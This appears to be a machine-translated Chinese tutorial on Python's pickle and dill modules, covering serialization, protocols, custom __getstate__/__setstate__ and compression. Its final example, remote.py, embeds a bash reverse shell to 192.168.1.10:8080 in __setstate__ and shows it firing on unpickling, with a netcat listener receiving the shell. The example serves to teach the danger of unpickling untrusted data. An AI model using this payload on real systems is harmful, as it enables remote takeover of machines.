Python pickle 模块：如何在 Python 中持久化对象

笔记：从现在开始，您将看到这些条款酸洗和脱酸用于指使用Python进行序列化和反序列化pickle模块。

# pickling.py
import pickle

class example_class:
    a_number = 35
    a_string = "hey"
    a_list = [1, 2, 3]
    a_dict = {"first": "a", "second": 2, "third": [1, 2, 3]}
    a_tuple = (22, 23)

my_object = example_class()

my_pickled_object = pickle.dumps(my_object)  # Pickling the object
print(f"This is my pickled object:\n{my_pickled_object}\n")

my_object.a_dict = None

my_unpickled_object = pickle.loads(my_pickled_object)  # Unpickling the object
print(
    f"This is a_dict of the unpickled object:\n{my_unpickled_object.a_dict}\n")

$ python pickling.py
This is my pickled object:
b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.'

This is a_dict of the unpickled object:
{'first': 'a', 'second': 2, 'third': [1, 2, 3]}

笔记：该协议的新版本提供了更多功能和改进，但仅限于更高版本的解释器。选择使用哪种协议时请务必考虑这一点。

要确定您的解释器支持的最高协议，您可以检查pickle.HIGHEST_PROTOCOL属性。

# pickling_error.py
import pickle

square = lambda x : x * x
my_pickle = pickle.dumps(square)

$ python pickling_error.py
Traceback (most recent call last):
  File "pickling_error.py", line 6, in <module>
    my_pickle = pickle.dumps(square)
_pickle.PicklingError: Can't pickle <function <lambda> at 0x10cd52cb0>: attribute lookup <lambda> on __main__ failed

# pickling_dill.py
import dill

square = lambda x: x * x
my_pickle = dill.dumps(square)
print(my_pickle)

$ python pickling_dill.py
b'\x80\x03cdill._dill\n_create_function\nq\x00(cdill._dill\n_load_type\nq\x01X\x08\x00\x00\x00CodeTypeq\x02\x85q\x03Rq\x04(K\x01K\x00K\x01K\x02KCC\x08|\x00|\x00\x14\x00S\x00q\x05N\x85q\x06)X\x01\x00\x00\x00xq\x07\x85q\x08X\x10\x00\x00\x00pickling_dill.pyq\tX\t\x00\x00\x00squareq\nK\x04C\x00q\x0b))tq\x0cRq\rc__builtin__\n__main__\nh\nNN}q\x0eNtq\x0fRq\x10.'

>>> square = lambda x : x * x
>>> a = square(35)
>>> import math
>>> b = math.sqrt(484)
>>> import dill
>>> dill.dump_session('test.pkl')
>>> exit()

$ ls test.pkl
4 -rw-r--r--@ 1 dave  staff  439 Feb  3 10:52 test.pkl

>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>)])
>>> import dill
>>> dill.load_session('test.pkl')
>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>), ('dill', <module 'dill' from '/usr/local/lib/python3.7/site-packages/dill/__init__.py'>), ('square', <function <lambda> at 0x10a013a70>), ('a', 1225), ('math', <module 'math' from '/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/math.cpython-37m-darwin.so'>), ('b', 22.0)])
>>> a
1225
>>> b
22.0
>>> square
<function <lambda> at 0x10a013a70>

笔记：使用前dill代替pickle，请记住dill不包含在 Python 解释器的标准库中，并且通常比pickle.

# custom_pickling.py

import pickle

class foobar:
    def __init__(self):
        self.a = 35
        self.b = "test"
        self.c = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['c']
        return attributes

my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)

print(my_new_instance.__dict__)

$ python custom_pickling.py
{'a': 35, 'b': 'test'}

# custom_unpickling.py
import pickle

class foobar:
    def __init__(self):
        self.a = 35
        self.b = "test"
        self.c = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['c']
        return attributes

    def __setstate__(self, state):
        self.__dict__ = state
        self.c = lambda x: x * x

my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)
print(my_new_instance.__dict__)

>>> import pickle
>>> import bz2
>>> my_string = """Per me si va ne la città dolente,
... per me si va ne l'etterno dolore,
... per me si va tra la perduta gente.
... Giustizia mosse il mio alto fattore:
... fecemi la divina podestate,
... la somma sapienza e 'l primo amore;
... dinanzi a me non fuor cose create
... se non etterne, e io etterno duro.
... Lasciate ogne speranza, voi ch'intrate."""
>>> pickled = pickle.dumps(my_string)
>>> compressed = bz2.compress(pickled)
>>> len(my_string)
315
>>> len(compressed)
259

# remote.py
import pickle
import os

class foobar:
    def __init__(self):
        pass

    def __getstate__(self):
        return self.__dict__

    def __setstate__(self, state):
        # The attack is from 192.168.1.10
        # The attacker is listening on port 8080
        os.system('/bin/bash -c
                  "/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"')


my_foobar = foobar()
my_pickle = pickle.dumps(my_foobar)
my_unpickle = pickle.loads(my_pickle)

$ nc -l 8080

$ python remote.py

$ nc -l 8080
bash: no job control in this shell

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2$